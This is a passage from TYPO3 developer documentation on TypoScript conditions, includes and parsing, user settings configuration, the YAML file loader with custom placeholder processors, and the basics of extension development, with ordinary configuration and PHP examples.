Extension examples, file Configuration/TypoScript/Conditions/ArrayOperators/setup.typoscript
[17 in tree.rootLineIds || 24 in tree.rootLineIds]
   page.42.value = Pid with id 17 or 24 is in the rootline.
[END]
Copied!

Combined conditions

And conditions:

Extension examples, file Configuration/TypoScript/Conditions/AndConditions/setup.typoscript
[condition1() and condition2()]
   page.42.value = Condition 1 and condition 2 met
[END]
Copied!

Or conditions:

Extension examples, file Configuration/TypoScript/Conditions/OrConditions/setup.typoscript
[condition1() or condition2()]
   temp.value = Condition 1 or condition 2 met
[END]
Copied!

Summary

  • Conditions are detected by [ as the first line character (whitespace ignored).
  • Conditions are evaluated in relation to the context where TypoScript is used. They are widely used in TypoScript Templates and can also be used in page TSconfig or user TSconfig.
  • Special conditions [ELSE], [END] and [GLOBAL] exist.
  • Conditions can be used outside of confinements (curly braces) only. However the [GLOBAL] condition will always break a confinement if entered inside of one.

Includes

You can also add include-instructions in TypoScript code. Availability depends on the context, but it works with TypoScript templates, page TSconfig and user TSconfig.

The syntax for importing external TypoScript files acts as a preprocessor before the actual parsing (condition evaluation) takes place.

Its main purpose is ease the use of TypoScript includes and making it easier for integrators and frontend developers to work with distributed TypoScript files. The syntax is inspired by SASS imports and works as follows:

# Import a single file
@import 'EXT:myproject/Configuration/TypoScript/randomfile.typoscript'

# Import multiple files in a single directory, sorted by file name
@import 'EXT:myproject/Configuration/TypoScript/*.typoscript'

# It's possible to omit the file ending, then "*.typoscript" is appended automatically
@import 'EXT:myproject/Configuration/TypoScript/'
Copied!

The main benefits of @import compared to <INCLUDE_TYPOSCRIPT> are:

  • is less error-prone
  • @import is expressive and self-explanatory
  • better clarifies whether files or folders are imported (in comparison to the old FILE: and DIR: syntax)

The following rules apply:

  • Multiple files are imported in alphabetical order.
  • Recursion is allowed. Imported files can have @import statements.
  • The @import statement does not take a condition clause as the old <INCLUDE_TYPOSCRIPT condition=""> statement did. That kind of condition should be considered a conceptual mistake. It should not be used.
  • Both the old syntax <INCLUDE_TYPOSCRIPT> and the new one @import can be used at the same time.
  • Directory imports are not recursive, meaning that a directory import does not automatically travel down its subdirectories.
  • Quoting the filename is necessary with the new syntax. Either double quotes (") or single quotes (') can be used.

Internals: Under the hood, Symfony Finder is use to find the file and provides the "globbing" feature (* syntax).

Outlook: The syntax is designed to stay and there are absolutely no plans to extend the @import statement in the future. However, the @... syntax for annotations may be used to add more preparsing logic to TypoScript in future.

Alternative, traditional Syntax

A traditional include-instruction will work as well and for example looks like this:

<INCLUDE_TYPOSCRIPT: source="FILE:fileadmin/html/mainmenu_typoscript.txt">
Copied!
  • It must have its own line in the TypoScript template, otherwise it is not recognized.
  • It is processed BEFORE any parsing of TypoScript (contrary to conditions) and therefore does not care about the nesting of confinements within the TypoScript code.

The "source" parameter points to the source of the included content. The string before the first ":" (in the example it is the word "FILE") will determine which source the content is coming from. These options are available:

Option Description
FILE

A reference to a file relative to \TYPO3\CMS\Core\Core\Environment::getPublicPath().

Also paths relative to the including file can be passed to INCLUDE_TYPOSCRIPT, if the inclusion is called from inside a file. These paths start with ./ or ../. The ./ is needed to distinguish them from paths relative to \TYPO3\CMS\Core\Core\Environment::getPublicPath(). This mechanism allows simple, nested TypoScript templates that can be moved or copied without the need to adapt all includes.

If you use a syntax like EXT:myext/directory/file.txt the file included will be searched for in the extension directory of extension "myext", subdirectory directory/file.txt.

DIR

This includes all files from a directory relative to \TYPO3\CMS\Core\Core\Environment::getPublicPath(), including subdirectories. If the optional property extensions="..." is provided, only files with these file extensions are included; multiple extensions are separated by comma. This allows e.g. to include both setup and constants from the same directory tree, using different file extensions for both.

Files are included in alphabetical. Also files are included first, then directories.

Example:

<INCLUDE_TYPOSCRIPT: source="DIR:fileadmin/templates/" extensions="typoscript">
Copied!

This includes all those files from the directory fileadmin/templates/ and from subdirectories, which have the file extension .typoscript.

Conditions

Since TYPO3 v7, it is possible to use conditions on include directives. The conditions are the same as was presented in the previous chapter. The files or directories will be included only if the condition is met.

Example:

<INCLUDE_TYPOSCRIPT: source="FILE:EXT:my_extension/Configuration/TypoScript/user.typoscript" condition="[loginUser = *]">
Copied!

The syntax of condition has switched to the symfony expression language which is covered in this section of TSref. If the condition requires double quotes, they must be converted to single quotes or escaped, e.g.:

<INCLUDE_TYPOSCRIPT: source="FILE:EXT:my_extension/Configuration/TypoScript/some.typoscript" condition="[applicationContext == 'Development']">

<INCLUDE_TYPOSCRIPT: source="FILE:EXT:my_extension/Configuration/TypoScript/some.typoscript" condition="[applicationContext == \"Development\"]">
Copied!

Best practices

The option to filter by extension has been included exactly for the purpose of covering as many use cases as possible. In TYPO3 we often have many different ways of configuring something, with pros and cons and the extended inclusion command serves this purpose of letting you organize your files with different directories using whichever extension fits your needs better (e.g., .typoscript) and/or filter by extension (e.g., because you may have .typoscript and .txt in the directory or because you prefer having .typoscript<something> as extension).

It is recommended to separate files with different directories:

  • For TSconfig code use a directory called TSconfig/, possibly with subdirectories named Page/ for page TSconfig and User/ for user TSconfig.
  • For TypoScript template code, use a directory named TypoScript/.

However, we understand that filtering by extension could make sense in some situations and this is why there is this additional option.

Sorting out details

This chapter looks at some more technical details about TypoScript.

Parsing, Storing and Executing TypoScript

Parsing TypoScript

This means that the TypoScript text content is transformed into a PHP array structure by following the rules of the TypoScript syntax. But still the meaning of the parsed content is not evaluated.

During parsing, syntax errors may occur when the input TypoScript text content does not follow the rules of the TypoScript syntax. The parser is however very forgiving in that case and it only registers an error internally while it will continue to parse the TypoScript code. Syntax errors can therefore be seen only with a tool that analyzes the syntax - like the syntax highlighter does.

The \TYPO3\CMS\Core\TypoScript\Parser\TypoScriptParser class is used to parse TypoScript content. Please see the section The TypoScript Parser API in this document for details.

Storing parsed TypoScript

When TypoScript has been parsed it is stored in a PHP array (which is often serialized and cached in the database afterward).

Consider the following TypoScript:

asdf = qwerty
asdf {
  zxcvbnm = uiop
  backgroundColor = blue
  backgroundColor.transparency = 95%
}
Copied!

After being parsed, it will be turned into a PHP array looking like (with the print_r() PHP function):

Array
(
  [asdf] => qwerty
  [asdf.] => Array
  (
    [zxcvbnm] => uiop
    [backgroundColor] => blue
    [backgroundColor.] => Array
    (
      [transparency] => 95%
    )
  )
)
Copied!

This is stored in the internal variable $this->setup.

This means you could fetch the value ("blue") of the property "backgroundColor" with the following code:

$this->setup['asdf.']['backgroundColor']
Copied!

One could say that TypoScript offers a text-based interface for getting values into a multidimensional PHP array from a simple text field or file. This can be very useful if you need to take that kind of input from users without giving them direct access to PHP code, which is the very reason why TypoScript came into existence.

Executing TypoScript

Since TypoScript itself contains only information you cannot "execute" it. The closest you come to "executing" TypoScript is when you take the PHP array with the parsed TypoScript structure and pass it to a PHP function which then performs whatever actions according to the values found in the array.

Myths, FAQ and acknowledgements

This section contains a few remarks and answers to questions you may still have.

Myth: "TypoScript Is a scripting language"

This is misleading to say since you will think that TypoScript is like PHP or JavaScript while it is not. From the previous pages you have learned that TypoScript strictly speaking is just a syntax. However when the TypoScript syntax is applied to create TypoScript Templates then it begins to look like programming.

In any case TypoScript is not comparable to a scripting language like PHP or JavaScript. In fact, if TYPO3 offers any scripting language it is PHP itself! TypoScript is only an API which is often used to configure underlying PHP code.

Finally the name "TypoScript" is misleading as well. We are sorry about that; too late to change that now.

Myth: "TypoScript has the same syntax as JavaScript"

TypoScript was designed to be simple to use and understand. Therefore the syntax looks like JavaScript objects to some degree. But again; it is very dangerous to say this since it all stops with the syntax - TypoScript is still not a procedural programming language!

Myth: "TypoScript is a proprietary standard"

Since TypoScript is not a scripting language it does not make sense to claim this in comparison to PHP, JavaScript, Java or whatever scripting language .

However compared to XML or PHP arrays (which also contain information) you can say that TypoScript is a proprietary syntax since a PHP array or XML file could be used to contain the same information as TypoScript does. But this is not a drawback. For storage and exchange of content TYPO3 uses SQL (or XML if you need to), for storage of configuration values XML is not suitable anyways - TypoScript is much better at that job (see below).

To claim that TypoScript is a proprietary standard as an argument against TYPO3 is really unfair since the claim makes it sound like TypoScript is a whole new programming language or likewise. Yes, the TypoScript syntax is proprietary but extremely useful and when you get the hang of it, it is very easy to use. In all other cases TYPO3 uses official standards like PHP, SQL, XML, XHTML etc. for all external data storage and manipulation.

The most complex use of TypoScript is probably with the TypoScript Template Records. It is understandable that TypoScript has earned a reputation of being complex when you consider how much of the Frontend Engine you can configure through TypoScript Template records. But basically TypoScript is just an API to the PHP functions underneath. And if you think there are a lot of options there it would be no better if you were to use the PHP functions directly! Then there would be maybe even more API documentation to explain the API and you wouldn't have the streamlined abstraction provided by TypoScript Templates. This just served to say: The amount of features and the time it would take to learn about them would not be eliminated, if TypoScript was not invented!

Myth: "TypoScript is very complex"

TypoScript is simple in nature. But certainly it can quickly become complex and get "out of hand" when the amount of code lines grows! This can partly be solved by:

  • Disciplined coding: Organize your TypoScript in a way that you can visually comprehend.
  • Use the Syntax Highlighter to analyze and clean up your code - this gives you overview as well.

Why not XML Instead?

A few times TypoScript has been compared with XML since both "languages" are frameworks for storing information. Apart from XML being a W3C standard (and TypoScript still not... :-) ) the main difference is that XML is great for large amounts of information with a high degree of "precision" while TypoScript is great for small amounts of "ad hoc" information - like configuration values normally are.

Actually a data structure defined in TypoScript could also have been modeled in XML. Currently you cannot use XML as an alternative to TypoScript, but this may happen at some point. Let's present this fictitious example of how a TypoScript structure could also have been implemented in "TSML" (our fictitious name for the non-existing TypoScript Mark-Up Language):

styles.content.bulletlist = TEXT
styles.content.bulletlist {
  stdWrap.current = 1
  stdWrap.trim = 1
  stdWrap.if.isTrue.current = 1
  # Copying the object "styles.content.parseFunc" to this position
  stdWrap.parseFunc < styles.content.parseFunc
  stdWrap.split {
    token.char = 10
    cObjNum = 1
    1.current < .cObjNum
    1.wrap = <li>
  }
  # Setting wrapping value:
  stdWrap.textStyle.altWrap = {$styles.content.bulletlist.altWrap}
}
Copied!

That was 17 lines of TypoScript code and converting this information into an XML structure could look like this:

<TSML syntax="3">
  <styles>
    <content>
      <bulletlist>
        TEXT
        <stdWrap>
          <current>1</current>
          <trim>1</trim>
          <if>
            <isTrue>
              <current>1</current>
            </isTrue>
          </if>
          <!-- Copying the object "styles.content.parseFunc" to this position -->
          <parseFunc copy="styles.content.parseFunc"/>
          <split>
            <token>
              <char>10</char>
            </token>
            <cObjNum>1</cObjNum>
            <num:1>
              <current>1</current>
              <wrap>&lt;li&gt;</wrap>
            </num:1>
          </split>
          <!-- Setting wrapping value: -->
          <fontTag>&lt;ol type=&quot;1&quot;&gt; | &lt;/ol&gt;</fontTag>
          <textStyle>
            <altWrap>{$styles.content.bulletlist.altWrap}</altWrap>
          </textStyle>
        </stdWrap>
      </bulletlist>
    </content>
  </styles>
</TSML>
Copied!

That was 35 lines of XML - the double amount of lines! And in bytes probably also much bigger. This example clearly demonstrates why not XML! XML will just get in the way, it is not handy for what TypoScript normally does. But hopefully you can at least use this example in your understanding of what TypoScript is compared to XML.

The reasonable application for using XML as an alternative solution to TypoScript is if an XML editor existed which in some way made the entering of XML data into a structure like this possible and easy.

The TypoScript Parser API

Introduction

If you want to deploy TypoScript in your own TYPO3 applications it is really easy. The TypoScript parser is readily available to you and the only thing that may take a little more effort than the instantiation of PHP is if you want to define conditions for TypoScript.

Basically this chapter will teach you how you can parse your own TypoScript strings into a PHP array structure. The exercise might even help you to further understand the straight forward nature of TypoScript.

Parsing Custom TypoScript

Let's imagine that you have created an application in TYPO3, for example a plug-in. You have defined certain parameters editable directly in the form fields of the plug-in content element. However you want advanced users to be able to set up more detailed parameters. But instead of adding a host of such detailed options to the interface - which would just clutter it all up - you rather want advanced users to have a text area field into which they can enter configuration codes based on a little reference you make for them.

The reference could look like this:

Root Level

colors

colors
Scope

TypoScript

type

COLORS

Defining colors for various elements.

adminInfo

adminInfo
Scope

TypoScript

type

ADMINFO

Define administrator contact information for cc-emails

headerImage

headerImage
Scope

TypoScript

type

file-reference

A reference to an image file relative to the website's path ( \TYPO3\CMS\Core\Core\Environment::getPublicPath())

->COLORS

backgroundColor

backgroundColor
Scope

TypoScript

type

HTML-color

Default

white

The background color of ...

fontColor

fontColor
Scope

TypoScript

type

HTML-color

Default

black

The font color of text in ...

popUpColor

popUpColor
Scope

TypoScript

type

HTML-color

Default

#333333

The shadow color of the pop up ...

->ADMINFO

cc_email

cc_email
Scope

TypoScript

type

string

The email address that ...

cc_name

cc_name
Scope

TypoScript

type

string

The name of ...

cc_return_adr

cc_return_adr
Scope

TypoScript

type

string

Default

[servers]

The return address of ...

html_emails

html_emails
Scope

TypoScript

type

string

Default

false

If set, emails are sent in HTML.

So these are the "objects" and "properties" you have chosen to offer to your users of the plug-in. This reference defines what information makes sense to put into the TypoScript field (semantically), because you will program your application to use this information as needed.

A Case Story

Now let's imagine that a user inputs this TypoScript configuration in whatever medium you have offered (e.g. a textarea field):

colors {
  backgroundColor = red
  fontColor = blue
}
adminInfo {
  cc_email = email@email.com
  cc_name = Copy Name
}
showAll = true

[ip("123.45.*")]

  headerImage = fileadmin/img1.jpg

[ELSE]

  headerImage = fileadmin/img2.jpg

[GLOBAL]

// Wonder if this works... :-)
wakeMeUp = 7:00
Copied!

In order to parse this TypoScript we can use the following code provided that the variable $tsString contains the above TypoScript as its value:

$TSparserObject = \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance(\TYPO3\CMS\Core\TypoScript\Parser\TypoScriptParser::class);
$TSparserObject->parse($tsString);

echo '<pre>';
print_r($TSparserObject->setup);
echo '</pre>';
Copied!

As you can see, this is really as simple as creating an instance of the TypoScriptParser class and requesting it to parse the configuration contained in variable $tsString. The result is located in $TSparserObject->setup.

The result of this code will be this:

Array
(
  [colors.] => Array
  (
    [backgroundColor] => red
    [fontColor] => blue
  )

  [adminInfo.] => Array
  (
    [cc_email] => email@email.com
    [cc_name] => Copy Name
  )

  [showAll] => true
  [headerImage] => fileadmin/img2.jpg
  [wakeMeUp] => 7:00
)
Copied!

Now your application could use this information like this, for example:

echo '
     <table bgcolor="' . $TSparserObject->setup['colors.']['backgroundColor'] . '">
          <tr>
               <td>
                    <font color="' . $TSparserObject->setup['colors.']['fontColor'] . '">HELLO WORLD!</font>
               </td>
          </tr>
     </table>
';
Copied!

As you can see some of the TypoScript properties (or object paths) which are found in the reference tables above are implemented here. There is not much mystique about this and in fact this is how all TypoScript is used in its respective contexts; TypoScript contains simply configuration values that make our underlying PHP code act accordingly - parameters, function arguments, as you please; TypoScript is an API to instruct an underlying system.

This example also highlights one of the "risk" of TypoScript: it is perfectly possible to define arbitrary properties without triggering any error. Wrongly-named properties will just be ignored. As such they do not cause any harm, but may be confusing at a later stage if they are left around.

Implementing Custom Conditions

As conditions are implemented via Symfony Expression Language, extensions are documented in section Symfony Expression Language within TypoScript Conditions.

User settings configuration

The user settings module determines what user settings are available for backend users. The users can access the settings by clicking on their name in the top bar and then "User settings".

A number of settings such as backend language, password etc. are available by default. These settings may be extended via extensions as described in Extending the user settings.

The User Settings module has the most complex form in the TYPO3 backend not driven by TCA/TCEforms. Instead it uses its own PHP configuration array $GLOBALS['TYPO3_USER_SETTINGS']. It is quite similar to $GLOBALS['TCA'], but with less options.

The actual values can be accessed via the array $GLOBALS['BE_USER']->uc as described in Get User Configuration Value.

This functionality is provided by the typo3/cms-setup Composer package.

Contents:

['columns'] Section

This contains the configuration array for single fields in the user settings. This array allows the following configurations:

Key

Data type

Description

type

string

Defines the type of the input field

If type == user, then you need to define your own renderType too. If selectable items shall be filled by your own function, then you can use type == select and itemsProcFunc.

Example:

'startModule' => array(
   'type' => 'select',
   'itemsProcFunc' => 'TYPO3\\CMS\\Setup\\Controller\\SetupModuleController->renderStartModuleSelect',
   'label' => 'LLL:EXT:setup/mod/locallang.xlf:startModule',
   'csh' => 'startModule'
),
Copied!

Allowed values: button, check, password, select, text, user

label

string

Label for the input field, should be a pointer to a localized label using the LLL: syntax.

buttonLabel

string

Text of the button for type=button fields. Should be a pointer to a localized label using the LLL: syntax.

csh

string

CSH key for the input field

access

string

Access control. At the moment only a admin-check is implemented

Allowed values: admin

table

string

If the user setting is saved in a DB table, this property sets the table. At the moment only "be_users" is implemented.

Allowed values: be_users

items

array

List of items for type=select fields. This should be a simple associative array with key-value pairs.

itemsProcFunc

array

Defines an external method for rendering items of select-type fields. Contrary to what is done with the TCA you have to render the <select> tag too. Only used by type=select.

Use the usual class->method syntax.

clickData.eventName

string

JavaScript event triggered on click.

confirm

boolean

If true, JavaScript confirmation dialog is displayed.

confirmData.eventName

string

JavaScript event triggered on confirmation.

confirmData.message

string

Confirmation message.

['showitem'] section

This string is used for rendering the form in the user setup module. It contains a comma-separated list of fields, which will be rendered in that order.

To use a tab insert a --div--;LLL:EXT:foo/... item in the list.

Example (taken from typo3/sysext/setup/ext_tables.php):

'showitem' => '--div--;LLL:EXT:setup/Resources/Private/Language/locallang.xlf:personal_data,realName,email,emailMeAtLogin,avatar,lang,
            --div--;LLL:EXT:setup/Resources/Private/Language/locallang.xlf:passwordHeader,passwordCurrent,password,password2,
            --div--;LLL:EXT:setup/Resources/Private/Language/locallang.xlf:opening,startModule,
            --div--;LLL:EXT:setup/Resources/Private/Language/locallang.xlf:editFunctionsTab,edit_RTE,resizeTextareas_MaxHeight,titleLen,edit_docModuleUpload,showHiddenFilesAndFolders,copyLevels,resetConfiguration'
Copied!

Extending the user settings

Adding fields to the User Settings is done in two steps. First of all, the new fields are added directly to the $GLOBALS['TYPO3_USER_SETTINGS'] array. Then the field is made visible by calling \TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addFieldsToUserSettings().

The configuration needs to be put into ext_tables.php.

Here is an example, taken from the "examples" extension:

EXT:examples/ext_tables.php
$GLOBALS['TYPO3_USER_SETTINGS']['columns']['tx_examples_mobile'] = array(
   'label' => 'LLL:EXT:examples/Resources/Private/Language/locallang_db.xlf:be_users.tx_examples_mobile',
   'type' => 'text',
   'table' => 'be_users',
);
\TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addFieldsToUserSettings(
   'LLL:EXT:examples/Resources/Private/Language/locallang_db.xlf:be_users.tx_examples_mobile,tx_examples_mobile',
   'after:email'
);
Copied!

The second parameter in the call to addFieldsToUserSettings() is used to position the new field. In this example, we decide to add it after the existing "email" field.

In this example the field is also added to the "be_users" table. This is not described here as it belongs to 'extending the $TCA array'. See label 'extending' in older versions of the TCA-Reference.

And here is the new field in the User Tools > User Settings module:

Extending the User Settings configuration

"On Click" / "On Confirmation" JavaScript Callbacks

To extend the User Settings module with JavaScript callbacks - for example with a custom button or special handling on confirmation, use clickData or confirmData:

EXT:examples/ext_tables.php
$GLOBALS['TYPO3_USER_SETTINGS'] = [
    'columns' => [
        'customButton' => [
            'type' => 'button',
            'clickData' => [
                'eventName' => 'setup:customButton:clicked',
            ],
            'confirm' => true,
            'confirmData' => [
                'message' => 'Please confirm...',
                'eventName' => 'setup:customButton:confirmed',
            ]
         ],
         // ...
Copied!

Events declared in corresponding eventName options have to be handled by a custom static JavaScript module. Following snippets show the relevant parts:

document.querySelectorAll('[data-event-name]')
    .forEach((element: HTMLElement) => {
        element.addEventListener('setup:customButton:clicked', (evt: Event) => {
            alert('clicked the button');
        });
    });
document.querySelectorAll('[data-event-name]')
    .forEach((element: HTMLElement) => {
        element.addEventListener('setup:customButton:confirmed', (evt: Event) => {
            evt.detail.result && alert('confirmed the modal dialog');
        });
    });
Copied!

PSR-14 event \TYPO3\CMS\Setup\Event\AddJavaScriptModulesEvent can be used to inject a JavaScript module to handle those custom JavaScript events.

View the configuration

It is possible to view the configuration via the System > Configuration module, just like for the $TCA.

Viewing the User Settings configuration

YAML API

YAML is used in TYPO3 for various configurations; most notable are

YamlFileLoader

TYPO3 is using a custom YAML loader for handling YAML in TYPO3 based on the symfony/yaml package. It is located at \TYPO3\CMS\Core\Configuration\Loader\YamlFileLoader and can be used when YAML parsing is required.

The TYPO3 Core YAML file loader resolves environment variables. Resolving of variables in the loader can be enabled or disabled via flags. For example, when editing the site configuration through the backend interface the resolving of environment variables needs to be disabled to be able to add environment configuration through the interface.

The format for environment variables is %env(ENV_NAME)%. Environment variables may be used to replace complete values or parts of a value.

The YAML loader class has two flags: PROCESS_PLACEHOLDERS and PROCESS_IMPORTS.

  • PROCESS_PLACEHOLDERS decides whether or not placeholders (%abc%) will be resolved.
  • PROCESS_IMPORTS decides whether or not imports (imports key) will be resolved.

Use the method YamlFileLoader::load() to make use of the loader in your extensions:

EXT:some_extension/Classes/SomeClass.php
use TYPO3\CMS\Core\Configuration\Loader\YamlFileLoader;

// ...

(new YamlFileLoader())
    ->load(string $fileName, int $flags = self::PROCESS_PLACEHOLDERS | self::PROCESS_IMPORTS)
Copied!

Configuration files can make use of import functionality to reference to the contents of different files.

Examples:

config/sites/<some_site>/config.yaml
imports:
  - { resource: "EXT:rte_ckeditor/Configuration/RTE/Processing.yaml" }
  - { resource: "misc/my_options.yaml" }
  - { resource: "../path/to/something/within/the/project-folder/generic.yaml" }
Copied!

Custom placeholder processing

It is possible to register custom placeholder processors to allow fetching data from different sources. To do so, register a custom processor via LocalConfiguration.php:

typo3conf/LocalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['yamlLoader']['placeholderProcessors']
    [\Vendor\MyExtension\PlaceholderProcessor\CustomPlaceholderProcessor::class] = [];
Copied!

There are some options available to sort or disable placeholder processors, if necessary:

typo3conf/LocalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['yamlLoader']['placeholderProcessors']
    [\Vendor\MyExtension\PlaceholderProcessor\CustomPlaceholderProcessor::class] = [
        'before' => [
            \TYPO3\CMS\Core\Configuration\Processor\Placeholder\ValueFromReferenceArrayProcessor::class
        ],
        'after' => [
            \TYPO3\CMS\Core\Configuration\Processor\Placeholder\EnvVariableProcessor::class
        ],
        'disabled' => false,
    ];
Copied!

New placeholder processors must implement the \TYPO3\CMS\Core\Configuration\Processor\Placeholder\PlaceholderProcessorInterface . An implementation may look like the following:

EXT:my_extension/Classes/Configuration/Processor/Placeholder/ExamplePlaceholderProcessor.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Configuration\Processor\Placeholder;

use TYPO3\CMS\Core\Configuration\Processor\Placeholder\PlaceholderProcessorInterface;

final class ExamplePlaceholderProcessor implements PlaceholderProcessorInterface
{
    public function canProcess(string $placeholder, array $referenceArray): bool
    {
        return strpos($placeholder, '%example(') !== false;
    }

    public function process(string $value, array $referenceArray)
    {
        // do some processing
        $result = $this->getValue($value);

        // Throw this exception if the placeholder can't be substituted
        if ($result === null) {
            throw new \UnexpectedValueException('Value not found', 1581596096);
        }
        return $result;
    }

    private function getValue(string $value): ?string
    {
        // implement logic to fetch specific values from an external service
        // or just add simple mapping logic - whatever is appropriate
        $aliases = [
            'foo' => 'F-O-O',
            'bar' => 'ARRRRR',
        ];
        return $aliases[$value] ?? null;
    }
}
Copied!

This may be used, for example, in the site configuration:

config/sites/<some_site>/config.yaml
someVariable: '%example(somevalue)%'
anotherVariable: 'inline::%example(anotherValue)%::placeholder'
Copied!

If a new processor returns a string or number, it may also be used inline as above. If it returns an array, it cannot be used inline since the whole content will be replaced with the new value.

YAML syntax

Following is an introduction to the YAML syntax. If you are familiar with YAML, skip to the TYPO3 specific information:

The TYPO3 coding guidelines for YAML define some basic rules to be used in the TYPO3 Core and extensions. Additionally, yaml has general syntax rules.

These are recommendations that should be followed for TYPO3. We pointed out where things might break badly if not followed, by using MUST.

  • File ending .yaml
  • Indenting with 2 spaces (not tabs). Spaces MUST be used. You MUST use the correct indenting level.
  • Use UTF-8
  • Enclose strings with single quotes (''). You MUST properly quote strings containing special characters (such as @) in YAML. In fact, generally using quotes for strings is encouraged. See Symfony > The YAML Format > Strings

To get a better understanding of YAML, you might want to compare YAML with PHP arrays:

An array in PHP
$a = [
    'key1' => 'value',
    'key2' => [
        'key2_1' => 'value'
];

$b = [
    'apples',
    'oranges',
    'bananas'
];
Copied!

YAML:

The same array in YAML
# mapping (key / value pairs)
a:
  key1: 'value'
  key2:
    key2_1: 'value'

# sequence (list)
b:
  - 'apples'
  - 'oranges'
  - 'bananas'
Copied!

Services.yaml

New in version 10

Services can be configured in this file. TYPO3 uses it for:

A typical Configuration/Services.yaml may look like this:

EXT:my_extension/Configuration/Services.yaml
services:
  _defaults:
    autowire: true
    autoconfigure: true
    public: false

  T3docs\Examples\:
    resource: '../Classes/*'
    exclude: '../Classes/Domain/Model/*'

  MyVendor\MyExtension\LinkValidator\LinkType\ExampleLinkType:
    tags:
      -  name: linkvalidator.linktype
Copied!

Extension development

Learn about the concept of extensions in TYPO3, the difference between system extension and local extensions. Learn about Extbase as an MVC basis for extension development.

Lists reserved file and directory names within and extension. Also lists file names that are used in a certain way by convention.

This chapter should also help you to find your way around in extensions and sitepackages that where automatically generated or that you downloaded as an example.

Helps you kickstart your own extension or sitepackage. Explains how to publish an extension. Contains howto for different situations like creating a frontend plugin, a backend module or to extend existing TCA.

Extbase is an extension framework to create TYPO3 frontend plugins and TYPO3 backend modules.

Explains how to pick an extensions key, how things should be named and how to best use configuration files (ext_localconf.php and ext_tables.php)

Contains tutorials on extension development in TYPO3.

Concepts

Learn about the concept of extensions in TYPO3, the difference between system extension and local extensions. Learn about Extbase as an MVC basis for extension development.

Introduction

TYPO3 is entirely built around the concept of extensions. The Core itself is entirely comprised of extensions, called "system extensions". Some are required and will always be activated. Others can be activated or deactivated at will.

Many more extensions - developed by the community - are available in the TYPO3 Extension Repository (TER).

Yet more extensions are not officially published and are available straight from source code repositories like GitHub.

It is also possible to set up TYPO3 using Composer. This opens the possibility of including any library published on Packagist.

TYPO3 can be extended in nearly any direction without losing backwards compatibility. The Extension API provides a powerful framework for easily adding, removing, installing and developing such extensions to TYPO3.

Types of extensions

"Extensions" is a general term in TYPO3 which covers many kinds of additions to TYPO3.

The extension type used to be specified in the file ext_emconf.php, but this has become obsolete. It is no longer possible to specify the type of an extension. However, there are some types by convention which follow loose standards or recommendations. Some of these types by convention are:

  • Sitepackage is a TYPO3 Extension that contains all relevant configuration for a Website, including the assets that make up the template (e.g. CSS, JavaScript, Fluid templating files, TypoScript etc.). The Sitepackage Tutorial covers this in depth.
  • Distributions are fully packaged TYPO3 web installations, complete with files, templates, extensions, etc. Distributions are covered in their own chapter.

Extension components

An extension can consist of one or more of these components. They are not mutually exclusive: An extension can supply one or more plugins and also one or more modules. Additionally, an extension can provide functionality beyond the listed components.

  • Plugins which play a role on the website itself, e.g. a discussion board, guestbook, shop, etc. Therefore plugins are content elements, that can be placed on a page like a text element or an image.
  • Modules are backend applications which have their own entry in the main menu. They require a backend login and work inside the framework of the backend. We might also call something a module if it exploits any connectivity of an existing module, that is if it simply adds itself to the function menu of existing modules. A module is an extension in the backend.
  • Symfony console commands provide functionality which can be executed on the command line (CLI). These commands are implemented by classes inheriting the Symfony \Symfony\Component\Console\Command\Command\Command class. More information is available in Console commands (CLI).

Extensions and the Core

Extensions are designed in a way so that extensions can supplement the Core seamlessly. This means that a TYPO3 system will appear as "a whole" while actually being composed of the Core application and a set of extensions providing various features. This philosophy allows TYPO3 to be developed by many individuals without losing fine control since each developer will have a special area (typically a system extension) of responsibility which is effectively encapsulated.

So, at one end of the spectrum system extensions make up what is known as "TYPO3" to the outside world. At the other end, extensions can be entirely specific to a given project and contain only files and functionality related to a single implementation.

Notable system extensions

This section describes the main system extensions, their use and what main resources and libraries they contain. The system extensions are located in directory typo3/sysext.

Core
As its name implies, this extension is crucial to the working of TYPO3. It defines the main database tables (BE users, BE groups, pages and all the "sys_*" tables. It also contains the default global configuration (in typo3/sysext/core/Configuration/DefaultConfiguration.php). Last but not least, it delivers a huge number of base PHP classes, far too many to describe here.
backend
This system extension provides all that is necessary to run the TYPO3 backend. This means quite a few PHP classes, a lot of controllers and Fluid templates.
frontend
This system extension contains all the tools for performing rendering in the frontend, i.e. the actual web site. It is mostly comprised of PHP classes, in particular those in typo3/sysext/frontend/Classes/ContentObject, which are used for rendering the various content objects (one class per object type, plus a number of base and utility classes).
Extbase
Extbase is an MVC framework, with the "View" part being actually the system extension "fluid". Not all of the TYPO3 backend is written in Extbase, but some modules are.
Fluid
Fluid is a templating engine. It forms the "View" part of the MVC framework. The templating engine itself is provided as "fluid standalone" which can be used in other frameworks or as a standalone templating engine. This system extension provides a number of classes and many View Helpers (in typo3/sysext/fluid/Classes/ViewHelpers), which extend the basic templating features of standalone Fluid. Fluid can be used in conjunction with Extbase (where it is the default template engine), but also in non-extbase extensions.
install
This system extension is the package containing the TYPO3 Install Tool.

System and Local Extensions

The files for an extension are located in a folder named by the extension key. The location of this folder can be either inside typo3/sysext/ or typo3conf/ext/.

The extension must be programmed so that it does automatically detect where it is located and can work from both locations.

Local Extensions

Local extensions are located in the typo3conf/ext/ directory.

This is where to put extensions which are local for a particular TYPO3 installation. The typo3conf directory is always local, containing local configuration (e.g. LocalConfiguration.php), local modules etc. If you put an extension here it will be available for a single TYPO3 installation only. This is a "per-database" way to install an extension.

System Extensions

System extensions are located in the typo3/sysext/ directory.

This is system default extensions which cannot and should not be updated by the EM. They are distributed with TYPO3 Core source code and generally understood to be a part of the Core system.

Loading Precedence

Local extensions take precedence which means that if an extension exists both in typo3conf/ext/ and typo3/sysext/ the one in typo3conf/ext/ is loaded. This means that extensions are loaded in the order of priority local-system.

Further reading

Beyond the general overview given in this chapter, other sections in this manual will be of particular interest to extension developers:

File structure

Lists reserved file and directory names within an extension. Also lists file names that are used in a certain way by convention.

This chapter should also help you to find your way around in extensions and sitepackages that where automatically generated or that you downloaded as an example.

Files

An extension consists of:

  1. A directory named by the extension key (which is a worldwide unique identification string for the extension), usually located in typo3conf/ext for local extensions, or typo3/sysext for system extensions.
  2. Standard files with reserved names for configuration related to TYPO3 (of which most are optional, see list below)
